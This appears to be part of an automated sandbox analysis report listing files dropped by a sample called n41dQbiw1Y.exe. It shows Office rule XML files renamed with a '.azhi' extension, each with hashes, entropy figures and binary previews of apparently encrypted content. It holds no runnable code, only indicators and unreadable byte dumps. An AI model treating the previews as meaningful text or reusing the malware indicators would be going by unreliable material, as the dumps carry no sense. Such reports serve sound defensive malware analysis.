Preview:	<?xml.\I.r.r..hg..g^...'gj......yE.)r.!...T..z5..........Q.'...i....H+o.....N....J..s........'...5k......l..6..4"......A.,.[M..ldEW;o.h5...A....O...r../...+.M#.....mS......L...#.?..Bt^x..B..]..8.f...O>.y}.(... .J...J..A.c.:....%.u..a....(.W8.k....w..o..4(y/./....N3.Y..T.....T4.K%...Sx./...6.`.fa7.f..H.!OQ....r.L...?i.....4.8."....q.\|.w.~g....-.Qcf=....V.%!_....w.....c.....\....>........!..d..P.9..7T.........(.r.gFrX..9.U....vZ.6.r\|....e.(.F.Eu.=9...u..b.?.w..UO.f8.~[.o!k....7B.....`nG.6.d.L.@\|..5E..7S....~@.i.NCa..p)..@..+B.......\|..(U.rR...^e....O..a..........7d.l.b._.'.xJ.C.......+....P..C'.....v2..SB\...]...z.wT7.@Z*.~...DU.~.j...Ot.o./aI.....Gj......>..e.....+a....M..^.3..k$......F...xl..y..S..s$..f.3c8...\o1S.3..j...s..+u...e.....9g...X_.G4~.geo.....E.4#.m.T1..6...-..G.._/...M....>k.P......y.Zr.N..WTE.\uE..1m..W......_]...N.:...q.(..c.v...9..H#..mYg...{.....>.AmB..........A;b..d&../..8.......{7...0@p...0.G7..apS.Oo.x.hv

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10626v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.8734718156154475
Encrypted:	false
SSDEEP:	48:qTEHVh/b0s76FZhcR5yGLqp68YbN5Kgl8Ez3bD:qQ1hT+vaRp51bvl8EzX
MD5:	E30DC3387A6BAF7EB29479F97580B902
SHA1:	FB410434C6313F9FBCC5882431BF3BC3E0EA7638
SHA-256:	240629A06DDFF2253B882DA04C3BE58FD69E4E03E8090B6CD7D38A54EC8759B0
SHA-512:	9D3B273C267556A6E586B0618118B97AF67D311F6F47E93C85B9E20677D602FC5AFC5C31D3E2B79CAFA24C647A6407FEF8D0BCF3E90F9CB3F63850AD10BC72DD
Malicious:	false
Preview:	<?xml......^.y....=[.e....p......0.b..LXq..3.)..'o.sE.............]f=S.o..i.A..O.....r..\0...v.....T.o..8~...P.X( ....Y..o...2..}.......0.E.....?.1..J.[.+.o...i.z.:.......k0:.j...k.M.jF.e.!..XcU\|........G...0.....h_v...H.C....F...iR.....Zi1.'k.....AS..V..8.OA..J..iQ.......7.WQ.....~#?...\p.N.#...P..y:...W$...h..zu:t.X1O2..-....I.i........G.6...\|u.jkR......u..."..xg..uk...........CO?.2..;..{........c^o._......Y.....R.1..._<<!e]?.s.!..._....n.q9tm...;O.].l./..`.Hc...x4..z....p....`s.&..S.R.4 .WI......I.LM.$.....[.O..-....h.T.O..C.....o.J...Z.B.j..C.i...?.Z..)..!....Vo..V..).....T-}..U..,H.ro<w...r....RF..9C.......x.]....6....X$.....gx.K.M.8..q....($..P........i...R3.i+....B.#../..9..x.2...._.K........B..0..]...I^....~gi.......):..wF....dz...Te.[...k..n.o.....N...h.....;... .....5J..<..O:.g.f.J.U`X........vR1....$....l._#..........2T.'u.T.0_...\|.e6.....N._._.A.I..5..F)...B.X.(#.b$.....k.(.....?.&-.....zUH.}.,Cx..<..j..?g.r.w.}\|.+..w.E.V....w.I.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10627v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.88960040905929
Encrypted:	false
SSDEEP:	48:xTX9u+jRJKHXYDMmQrtmXf4HkOKJfB3CXpbgGMH4Z+FLu1wclqD:xTtfK3kM9o4cJ3a+PYZ+pmli
MD5:	EE5745240E6081EB496150BE9A6ACF00
SHA1:	C6502828EDBA9AD9D0420BD70E552568607325CB
SHA-256:	E320DF17A7DD293060CB88AB2B5A38A55BFEF4962B06D4C4D542F7D8E6FCA34C
SHA-512:	06513F906F64751816F0292AB1237AE48A436D78E5AF4A800A8C2FCDF37524C5FFB4219E6CF7ACAC4B2056AF140B45BC327587087BD37046D8BB9A1DA37BE2A6
Malicious:	false
Preview:	<?xml./.:..M.'+......r..hC&.....Y(T..Jv~<.,..jY...Z-.a..x.?`..I...m.=...v.s.... .6.SN..2.+..;5...........A....V9.....F.`.ZsZ....7...Fw.$...#.!l.M.g.ky...@.\.>[U.Uj.....4.9..u..p4.C.+....`.B....Q.t..qg../.V..&X$.c..tV]...g.J..~5 .]-.e2..41..=d.G..$N....M.C....^..d...v...>.Z.8...n0-..[.m...JfN.8J2.-oMMq.~ObJ.....g....KkEI9v\|@.......(.....v<L.!.....7\|..p)..^\.....&_.{!.7.Z1cw.....8a..4K......w<.p..8&7?=a.z.4...c........[O...9...Zf......X2..D.=.ii.N=.<....W..e...q^.....5.L2j$tm(......v..I.~-.Q,..e.J.@W/Y.\..d.ti(T........m.oN.=.r.c.t..`.E..8r.3[.Y.J'..\|..oA..u..(.._..U.<....F.....K....G._l.BF.A."V....\E..q.rr.r...\...@V..n..#6.....y..S._p..~W..u. .=-.....~[g.....,..~.MG.......Fa*Gs\..h.[.(.:.....:.f.....(..k..V..D..\|.....m..(.......'.A...o.....%...d ..D..e...T.9%S......g..H...P.....a.....gg.4?tk.4.T.q....F/.8...[.8...$Y..=e........z..V.....`./.)@.......x.{..&....9.2.n.{/........~..........H.i.....?...S......\|...68I..n.S.t..}0...9.f<u.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10781v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.706821275167217
Encrypted:	false
SSDEEP:	12:WOhU/l6dg+yKmNQXZRdg88w4tp760/6S1NHDvmUgwDZc9kMqtbd4loPXFiuYciik:WOhLgamY+8cL79p1NzmJiZc9f46eibD
MD5:	0DF6C60462BF32AAE1416B0050EEE153
SHA1:	3C96B04B2F757768676745C1ADA95FA3522CBBB0
SHA-256:	F87B817547C8727181DFF24D58089C3A658D4F938CDF429E123735F78E449233
SHA-512:	C2555BDEC8505B83A72624586324A8A7337502C04FADA88CA04F667C4DAE823B3275A30E4EE980D95ABD52F0F0989408CDFB57B36DAF8FE2E566E453F3242260
Malicious:	false
Preview:	<?xml....s'..nf6N}..3c...z..."\m1.v".J.x}+...,.W`.....q.K.......{.......Y.....z.F.#..@..(G...v.C`B...x.....w...O.LH.?]OHj.Oa4g...\|.KT..u....s..So....c.1v.$0....SH...X....MXa.c4.Y3..7.m..J....C%...0..h...if....O6...y.8.Gyw..<..4r6.f.D...........3...-k..y...{1....y,G.%..-.H.......w.q.2...w.Q......U."q1..5.=..?.J^.f..xz..X..%.yT=.u...A......Q....>.LC.U(..J...)j{.v..U.$OV...-.[.U..4n..b..V.....u.B...C.Y.o...eA*.Y..........I...)`+q...U.}.S.,^..}.p....<..7t\|....0.?C_.D.R.n...;..B..^.....fp\|.m..7.y...GY.=...^.8..l..>..n.[..@....H.l......L?1.E.....R.Y.:5..L.....J.Fo0QE.v.]...s...E.....k...9y..J..y}6.L..O...;a...]...U....5.M......@.`....[...:c?vWBK.=G.+'...l.2..!.[ea.X....sQ.J...cGgBT...._.h..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10784v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.900254780704223
Encrypted:	false
SSDEEP:	48:lASuADHe1NgJ9Bo6BTAi9MQiBFdJj39wOsre2T5VltD:SS9THBTAoMfB3WrbT5VH
MD5:	6301692DCC8824958AD4BF1A0232543B
SHA1:	E8952BCF2D5FA228CC2636BD07AA899779AF6154
SHA-256:	5B9738925434CC6E26B99960F4D79BA5A1EBC47BD13F059DCCB6459FFA4D4418
SHA-512:	94C71ABAB3FCDCE4D51926565FE044398393C3C0BF99A268C16B17D9A8A1E5C8278D83499E3604B0FC39E01B8F004C1D7EC35E85DB1E7B7CEE522093AAFF3020
Malicious:	false
Preview:	<?xmlF~g&.G.....M.(.B...l.q..}..:.....@...+}......=..B 1'1.&..Z8...P.9.V........Lz5..2:.r..Q..n ]..8..[,F.G?..v_.B3....a........W7.yr........".K...A......Q.lX...H...x~..Zn.......r....=:..JO4..._Z..u..I.\|....... ..\|\|.e.".z......(.'...[H.bP.%^..>.."@:.d..H.?...(...t...(~.H?.....:..%..{.i...#.H..J^^..o....4>...=..........=.x...D.9.`.).G....sG......<.y.......'~..../{.U...0.K...q....&..........z#..d...E....mf..>..;I..w......H.nC.S...........}.#..{..#Y.!..&.z.:.I.....D..} ."...Z..q..?..G...E..-...;[y......<m=.)..C2..\|...P..h<......._...P....oO.T.......k...q.......FK..D.:.u....8.L.....".A.....I..K:.J.l .ebp..,....t..........m...KST)A^bz.n3.RmZ...AD.....{..r.......3......w..%.t.F.L~....N}.\qA.Qb8f.x.i.Aa..e...zm.b+....]Oz.m.~1.+.h...[...}09.8...?Mh..M...b..0~..`.}.N6C.....&j./Jt....jv./.#.._B7..mg.[.c..T.c..<..q.RsBI=.%/..[....!t...#.....w...8.'.$..Iw........XO..s.....~...mF......7.F.G.o.)H9yes........w..........Z>.O.+...n..ZeG.+..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10800v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.689542040880838
Encrypted:	false
SSDEEP:	12:p3G5RuAMQaS1jD4BJn6Vs5aPlAJG5JV/Ho7hv90RYBNVQzlnYcii9a:p3G5sS1jsBJ6VXAJc3HgV3QzlYbD
MD5:	4087BD1F13D933C0532BC68BFEACE26B
SHA1:	8A03D30E215387C0FA351904D26934BAE0EDD693
SHA-256:	F6036A0BF8DBBFC1F087A0DA205E368D585F7C5493BBD06EDA2587695AD9D34D
SHA-512:	335CB743578E81AF0389A4DE3DDF977A94A8DC0462F94F30F05F4B75482BA97E37ADCDABA2AE56658AF0ED3C66AD96DE7D8816FEBA5D1EBB500D351F63AFEBD5
Malicious:	false
Preview:	<?xml...g.-..H...i.,;.)D.X.?0..&.....(.....y.......~.?X......._.%.T,ex....\|.~F."...W.;e.....6R.bU\.$..mg.....!....F.d.....@t..me#uM.N.A.CM......O..}...IK....+..L..$.<d....f.T.l$....,o~....{H.......G.!ly).SGT..8.d.zE..A?$.P.t'.E~....(.....7..$...b.t6.\...s...f.[x.#....(.UOu....wT...`."lKk...w.m..L.1l^....<..d=.4.1..t.cx.sN...K..:.....CP.....p......;n........q.\..f.D.ep....)...cJM2.B...4.r.]. LJ.f9..e.M......).K%'.SC..i...A...44.P...'....i.r.r..bu...>Blc.u.2....I`.m...xj.....,...2...^.3....E...sf.q..W.*.l..l.5.??G........#..F.iC.....@.L...Aw..........F%.+...D.j..t..^..#k.....k......V....2.F.-8.......$$........5 Y.F....F..$$...&.......M.#..f...[..w...7).......Q.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10801v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.938175773038657
Encrypted:	false
SSDEEP:	48:SiZBtXSjbe5/6jdUb3GDcq9kMtpuzhbc7WFwsyQeDl50oB6an5/8uD:H9X8S4hUbscOkMedGf0oUmdR
MD5:	B0B442081CD997476FCB50D76BBEEF59
SHA1:	A7CE9F2347EBDBDE1B7595F40ED388A4381A6CB8
SHA-256:	20ADF53A67D921DE18B988F4F77404283EF5F28316D6459D11925EAFBBFE4A5E
SHA-512:	084E6E7E51BB849A05349F26FAB0A64270EA8F6BFB46192CB2FF2B30D0034C3E98BE96DE28C3DE3B2F7BA2A9399B61A26DF53F6E8A4F0FDEC1A4FB9146378B7A
Malicious:	false
Preview:	<?xml.cC!U.:.&.y..L..$...S+.!y.....Wq..L.2UH.j. ..3.l..7..,..)....=....p........{..g.k%..E.U5..PH;:y......J....v'v...41G.P%fuM..GDH..q.&..w...k.Q4\..U.qC..9.....\|I....".\|..B.9....=j..9.&[.$..4.H..tA/.}.zG:^&&..\.7..4.>..Fi0g.!.4XG.^......cd..r....R..w..........\|.FX...H..i.qI..6.Sh..I:'".Z......UH>....5...\|..t.(..i...?..#.t...O..WyL....-g..\:X.q..z......dU.u..5-l[.).6Z.@....7.P%&'N...5S`.[..c+..........B....!."..t...<eU.V/....L'...,A$..1.hNB.v'....O.p.U...+C...x...F'c;...+...4.)<..I3+.t...o...xa.(q..9...W...zD.2.y.........b..`..e\..J..E....m`...HNl...M1.i.LN.P.g...ZE@E....H..I.L.M.....3.DA..F.....}b...g...?......g..:i.......gO..qia:..t./f.U...e.#.&;#3....X..?..e.g&E....3..3.Z.ML."Dg.:.V.yl..Y6....3..B.......G..q;N.A..._...%K...eM....J..MS.4.)...C.@......%z...~8N..... ....M..p.i_SmEUm;G.bS.. ..H*.m.V]..Q#..DB.Ab.&{G4.E...k.P.M.b...jc...5Gn.J.;h.......p.o....b...k^PP.UT..x.K}b..T....k........).\|..-0...?t..n.DwC._....%t.^I.I:..._

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10802v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.942408292607346
Encrypted:	false
SSDEEP:	48:zZZUkb4U4oY9bmwJ3EDZBntLrORWuLqkFFIdm2zlEKrpa9W6eoq/D:7USsiwJoZ1OUhkFFApREs6err
MD5:	18328AC30B46497C07C60CA8F34B6D38
SHA1:	EFB4EA5431702FF04E855E2CDE6614579B34F490
SHA-256:	C4D75EA73C3FB99F2B35E29258D11376A8187D035A3E1FC694F6392860D0B888
SHA-512:	E7CA22B438A7F23E3F0CC9D36E83212AFDB909A06FBA22CE31A93076A55599FBCC20F9EFC69D127C921FAC2C1B867F970705E8210EAC6E952B07CC40964B36FA
Malicious:	false
Preview:	<?xml..q.6...X.v.6.\....n.}e tC....]Wc..3...@..j.&..[..J;@..>..{;.0.}....[.]Q....$..Y.3..g...Q...Wwg..f...!..\|...i.j.U.../.........U...:..Ad..8............B.q^.....3\...3.Q....a1..1....q...Q...8...x-Eu..;.._@s..E..w .l..#Srb....d.9.O.8M.X2.D.S.gbhQ.3V..q..&/.].....~f....i.....".[.E..2......Iz,.G.a...U..:..7.c~....3...W#..b7n....;.. .j....<c.-...E...,v.b.....(...9....@....bK6..5.&2k$K.;X._.Jm.!m....(..\|K3J.pF....J.@..y.,....Wr..i.aCo..........q.:js......[?./.7#..m.....=....)9..#.u.ZJ.^AG,.d.k..Ic.ME......(#....H.~.^M....2#...{%.$A.`.P.J.Pe.\|6(.VD\@h...J.. ...>..fNE..#v!..p.~^A.%..4K......{.G.....%:7..:.\..d.`.>...w..w:.....!Ip..y....5..*...&P;..&.9G.%.>U..L.d.!xXC...Z.u..6Y.j...[.-T......6p...\...#.9........x.C...0\|OH.m.q.3....ku..G\.x6o0[.[.......}40..P6..o..+.N?.c..N.2.H2..LUJW..`....p';Ja.k.67VY. .Z.......P./.J.d:.....\$t-m..<WFbR..\.=.eQ...'..egL.1....~..Y...4~m....nt...>..a...r..EU.. .W.6c/....t6.N...`...I<...Z...7"=..,.d....oQ

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10803v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.9523407202538
Encrypted:	false
SSDEEP:	96:zsx3vkxvxala2YVjSYGWCJmQYPc4SQcf2NsIWcx1mJViEOST9eQz:+s5aPEEJmfc47c+aIWWSDrz
MD5:	B94171F2760086D1CAC50DC78F618554
SHA1:	C41635CFB779E32DAC6B82D4F4B4BE6E9079C2B2
SHA-256:	12B298417D40B81BD39980A0FAFFF8347D2A3DD06275AF90E8E76D568620081E
SHA-512:	9C7E123AA5910DD566691B09289FED9E151CB1CF23A974DD8CFD0DCAF750BEE4E3CD0307C917408386717A85EFE724DDEDAE0D786E70F562A290F8AC62A50692
Malicious:	false
Preview:	<?xml..&.].._.C.=......t7mY...UW..._.g..o}.ka....K.......S.Q.=M..Z.9b. ..0..".9..... d.X....yO...D.qn..YC..R...Nc...V.t......U._..1.S.j.........W....\..!....)b.`6....W.]a....wgj.........M.Q......Q.....xTW}...iX..Z.....[.~.{;.'.....Z.XAlE...V..'.9.7.C.....<..\|.Ph.ZD[.f..Zx..~;.}..5.Bo._...)n..].T.k.`.]"..A.\|d.@..A....".........<{8....o.xq...E....l.Q...x4.1...8..@ ?...;.../. H.v..N..c.)....>..e_(...."w..V..s[.Z.l...].G.."..j.PC^,.So..c?...$[...P.v.r(}.._-...E...i...I...a....8\...t..."...W.V..+...I....$..i..@F5..C:8W@[...t(D.A.a....;..GA.;....?.Qmz.4..].GJNGO.ica.m/.^.a[..t...=bY~Z.O_...H..y,...........!ma&.f.x5..Lc.&l.u.=.{..,..hDx.'......g~l...2..4;E..v.G...g.B.%\|.p.1..V.K7....l.y....U.9.sz.k....%Mp....p#......H)s.x..b.....6jpq..<.wdG\........Q.j..U.TI[u.H.R.6]..I.0...Nb\|.....4.....bRN.s."....5.l........`N".u....1..3(.o5..jz..D..>...@.&.&8.X.U.(.,..t.c.P....V....@....9..s.mO...y.H`.,.@..!.Vnj7<..Q.u...Q. ..S.vV.z$..\/-4...<W...;z.oLS.I.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10807v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.829111707758026
Encrypted:	false
SSDEEP:	24:nZQtOm9bCe57LkazGnuuQi1xHCwWgj2/G7+GmikKyP0/fqdyBbD:n2LJ1kazGuSTis6BGmzKVD
MD5:	13A64ED85763AEEDD6A14D88501724C1
SHA1:	426333BBA2EEECCB29A28DC705E2FE23C55FE2AB
SHA-256:	F9C91CA8257C1BC8769B92854106E210DF33D1F6C5887E92F4A46F360226C199
SHA-512:	A23DBECA4BAE168EA020173A59A29C7287459456BA44FDD41B862C8C9F6CE994838955E8EADAE98AC8ACE1ABE29D498E607E54368F3E181407920484C37CB078
Malicious:	false
Preview:	<?xml.;z..N.`.)?.%..N.......s.......Ur.R....u..J...7[...E.....<(LF_R.\|....h.......1..Z.,o.k.....T..z.O~.gk_...d(......zG....q.o......Z.s........y.p.P......g8.}..O........v7!K)2$............B.........h...aj5=c.3A.j.?.e..%.7.[...qcV@....I..c.z.?T...\..6.V.`.s..fZ....R.;g............~...Z:...p.QM.....i......~....I..o.O.v...._?..6`R.+zY..e...=b..C..(..Hy....@........b!....giD8.tX....8.L.;w.."?i.....ot....c..?).w.,HY..S.....8.8}...V.To....Y.7...[.b.;hx..VWHx.....d..3..A..sR..e.P&)..)._.....!.{Q..x.-D..Ml..=G.{.\|.....'s...d.fD.[;<b.?.1.}..~..'....s..g..4I.>...H....d>.......s.2wK.........4~ti.O. .x..4..h.Aa.W]...s....o;`0.KY.:.1c..O.,4%?\.."..d]..L,...xj.dINNi!d.z..."..E........G ....8~H.D....R.j.....-.1f.M..........P=c..v-PGDK.Z.JG:'.z.A.Z.!}..)nV...bF!.rI.w.FL...7..-.T..x.vI@0D...eJ..........%l.8.DR~g......0H3U...,p..9[..8..J...).~.m..?..@"..(......^qQ.tq..1.u.=.."..NCp?..L&.t8=....jB.l..L..":.&.@E..J...dX..i...68.t_.A... .....BZ.W.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10808v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.843035437278642
Encrypted:	false
SSDEEP:	24:6jDUbl91hUhVx3bTS1y/FL+bXcd3NDzZKuEwqbFTbfHCX8i2SeQeZvbD:6jDUblTa3HS4/FOMddDzhJ6FffEzRxwf
MD5:	509C4E88D2A650521AB9E38213AECF93
SHA1:	0FDAC7E19701C80FBDF5AD0B28342710971C2882
SHA-256:	C84C3C9BE0754DB7B32B304CEF5F588F1368947E04FDA4261B78E08779014F82
SHA-512:	7F492C5E69AE6F3A6622447D94D7D8A26E2D51204CAB0481295057ABE6DEED220F390DE6F7BC5675438C80344D9B226EAA0A17C28948DAF153D971896BBE20E5
Malicious:	false
Preview:	<?xml_.....SJQ..Jk....De0dN..6.........f./.\.....W...n..f.d....j.<.{.V...T..C..FS..o.$.h&.W1.;....LUM..`... ...[A......s.SI4......(..>\...8.\|y..t..E..].a....... ._.....0.j(.Jl{W.<.Ad....Y.<x...2V"W.O..(....L.a...$....'..4.v..X...RM.....+..Q...u..^gW........J..\.S......h..b.....R...+...SL..r.......)6..w....a...>.......^.(CdmG.<7.nZk....V..7..z."..\7A@.O...l(`....[d...$w...Q......d.......&..O<a........2]M6h...l...I......{L.$\|.6V..U..u.~..W5?P.I.}..^#..8...y..&..Z'....UGg.\|}..J&..XY..=.k.&.......H..N....].....I.....\|T..pg.n....>A4..@\..[t....Q..N..jT7..M.ODRc.'.G.+..)..c..............1.DI...Y.L.h......k.Wf9.c.LT........\]...T......&G-....VP......ZTF...4.C.x...jJ.....M..].P0.Y....8.{YK.s..p..N.V....es...8..........YD..(Xx.)...#.%..\...[\u.~.r...5...."3..U..7.t. ..<..k.?...!....]S..........jeV..<n.5D.B..q......z.n<UB.X...J...O..J.9...$b.4.o.....\.....n......W.1.v5..2..m.+....7m[.....&.@...`Z"x.g....=.?]...s.t.......nB9..`f....V.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10818v3.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.819313386404342
Encrypted:	false
SSDEEP:	24:abd1RcCoycqaVtpSRcWnvZPo95m81IcpX+ShuDReQhj9KUtVX3bD:SajcipEc2v9Okcj8DReu9HtVXLD
MD5:	3837DAA188E4F62E89A86BC102669264
SHA1:	A2E5F001CE91B550649A9DA7EEA39D4BB1252449
SHA-256:	DC3F43FF0AE1B443DE3D6E53F511034A72DFCDD0D6666FAD3DF80291B4E5C9F0
SHA-512:	CE1FBB152115F3CDDCCFB7B2B726A5FC67A55D7F2521115E59B9283019A60035C1AAF97942B3D8E21CD1EA37B6A5AF60BBB130074D63ECA02C4A0C613C5550E0
Malicious:	false
Preview:	<?xmlH.....@x2.SQ......z...(X..f.+'/..p..'..F.....$..t..2hVF.X;1..c..;r.......Q.).n....8"+p....m..UM0b.T.q...e.i...p:...=.".5..0C.BQ.gS..E..,....F.b...#k[.vkpT`.N...=.....^...aU?....\|.....BA..U..z.g.J{X.o....Z.".....Z.X&.O.G....s....C.{..J.E.~...}..ZM.KN...i.r..0{.I.mV.J...[{..R1.Q.X.f...B.Z......oh....S.T.b.r...E.?.....t.zq.........=%>....x.....F...J..Sp.1!...y.3....d.>5;....[%....ii\...hSl.....aK..j.1.z^...V..;ne.....9D.U.b...#....z4.C....!xr.....]JB....J!-....\|...I.E..Vf5.?....:............:..Yh.z...".W.T0N../..{.......D6..$...{I\|..<.:2R.aUU^Q..:x.Dc..S_.o)ad..o..8..LT..."......F....pj.!yn..:...;.S...B.....B....Z3..kkY>o.C...9bb4..\._.B.;..G...5....).&.S}{BW.f.d.T....[<3mu.C......W.Vdz...G....`OzQ.^.<..B.......jY......._..5.l^...~6.f.X..'...,.......(....N..'V.....L)./..t...._h.P...w..$<y.'.J......x.n.6\.v.j..N..7.#i..d. #...5...^..E.Q..0*&..k%g!.U..k..B..]{...FxV..lYS`D..Ui.x....zg...{..._/...Y.....T.`..^kc...@.j.......f.[..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10819v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.978362531116034
Encrypted:	false
SSDEEP:	192:enJDmfpergI5SMGLbfoF3OmNEH1pUDuzyHmyJj7nNfTBHZd1:eJD8y1GLbfm3OL1xKhZr
MD5:	60E7FB65C40B0C6466454579CADB76B5
SHA1:	4C8DFF1EDDB64C7E1CB09A99F338473BA41E0FFC
SHA-256:	4AE75A0F0F9E96BAA2493E1587C7869C48834E7C7AFCDFB66DCFD1AC6791B874
SHA-512:	963ECBE0DA966D52F8DA574A9B6EABCD1FFEFD56ACC6D32B93062FAB04E4C3A471039EF84264010E8E31FD207CD7C1AEF98BDD8ED9E3538D56D6693D033849D7
Malicious:	false
Preview:	<?xml.O.c..\D.>.3._QCg..\._Tw.4..Z..F..qR..z..)s 1B.....;.7.\|.A....P..p.....N.H.5.....;.D.g..F..-...~Pc?T#.I.6s.._..>7.F..........U...R-..tn..^C.......u...lt?,{.K]...Z.22.w..s......DE...0~..M.<S.".....Q9..3.<9....a.Lny....2<.[z...f.`.....1.s....H..W^:...W}..O.2.+..,$.........?....9sgT..?..Cn.g.:.W..^G.,....uP.._.:..0.,..Y..}...s.n..F...yF.S{.0.%u....bh...(..mDw3nYP...-...Cc.. ..w0S.j..?..\v..\.N.-....u.-.F.<...=.{Z...`.7.&.JVV.Kn...K..=.=...o..n...=2;..Z...6MW......Q.}....?.8_FW.=..a....``.F.f.?..Y&E..nN.vv.`.vH.. $...6..h...5.......8g.E.<............D..........`O&..M9...Qg.U/ND.b....:c.3...h....K...8....N...H.....v...H%...i9.:.s...3WD.vAUa....M..F..<.[.....x....K....&.M.n.............._..A.+.Y..4..`..m.>.~..y.+...../....q..\|..R...I.J.n56:%.E3J.#.Nxw.53Sg....to........4r..m.J..+...V.Z......p.0.q..oK@.&..M.....7}."......A.....0...[G\..C...\|....J....F...s..K....<....:.z.....Na...W.2S.-w.....C.Y.\|.d.k.E3..%.D#x./.......\d2_i...f.....>.xD..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10820v3.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.970948339662229
Encrypted:	false
SSDEEP:	96:6K9+yNcmKbRumcy/809No1vFlp71roXPKLtURTCpK8U+hA:LABLwb68rvFv71i4uWxA
MD5:	37CBEB2BB1688819B8DC52C448E981F7
SHA1:	8F356BD32118CD1F2BA2484BE83AB2DFE78B68AA
SHA-256:	6FF56CBABDF67FF0B1C6E72A7A5115684F44A0DDEB6DAAD08BA3E0BA3C21C3F3
SHA-512:	3F400D5AAEADD6FC7EC58D9F14E3258A00B35F804AE9C06107042F78A22549D57B9CCA98119D385C5D19DB64C8BF56C52006188842989371692AD7E7CD8CD5FB
Malicious:	false
Preview:	<?xml?m...\|cqI.......Ja..\.l...X...._..nH&.j..;(.k...D._.a.^.M.d.#z...6`0..1.....'....G.i.s&Ci.....Q.._H!.x....H...$.nN.?.Gi.1<..C...b..8....yW!.n...8..............l.;.2d.-........]..r.2........1..J..I.0..U.$... .U..{.t.'.H.)s.g..._\.gE$)%.....:.YW.h..wv..@.....O.Zg..K.#...0).....\..C.t.k.B...BD.!V....l.iSy....I.:.Yw.....I...v.E..%...F.U...-.,.C.J.._O1.....#=M.F..F?.[..e."....%cT.c-...y.+.m.cpeSKFc..t0...p.....q.E5.....B..=p...W.)./.x..7aul..c.4_.....u........9D..L7.1..<....\|.f2."/f.un.1...@...N...P.....Ax.u./.<.a..R.\|Aa....6@..A.C...OR...O.2w}>$..t..$.a1......hK..)LR....\|..Q..P..S......N..Y..CZ..].p~.0....L....R..c.aj.!.(3M.].w....HX..!.V6j.pF/.2~~j...T.AtX.....4.EJ...S..J./..x...9%..P...;9k..........V.'Q<h.}..i...p..#..o...Y.i..&ro.A..'FF..'...}.)C..q.....e..lY...v>'..V$.T..U.!n..x\>...p....{x..v.....7.m/.go.{.l\......~4.].`....+....nfy`..i......7}.Q.:.}..Vh...1..T..SC....Fa.0#...2.C....#\R...\|.g.o..<...@;.t....P>?....@{..O..[%

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10821v3.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.96412700632652
Encrypted:	false
SSDEEP:	96:1mfJBXDO1atMUCfVKZDMZWEIjkn34TyyYkm0W65stXbEUAel:8JBz2pxfVKZDOqjkCyDl0ipbrAY
MD5:	46E0D1315AD87C678F315FD0525BD734
SHA1:	16515EFB07B8F5AD86CA7D2696BC470E2840B11A
SHA-256:	D5327CB463A34C5F3C851192D81EBA54A877E7B32B91249FA0EE62447426D198
SHA-512:	30541B33828FEDA47CC8512A566C044FB6BD79F58BE08EA801081B71601581173FA703A69A00D85AF727CD0649817DFDBB4ECEA4E5C24F381BAB84EE659ACC7A
Malicious:	false
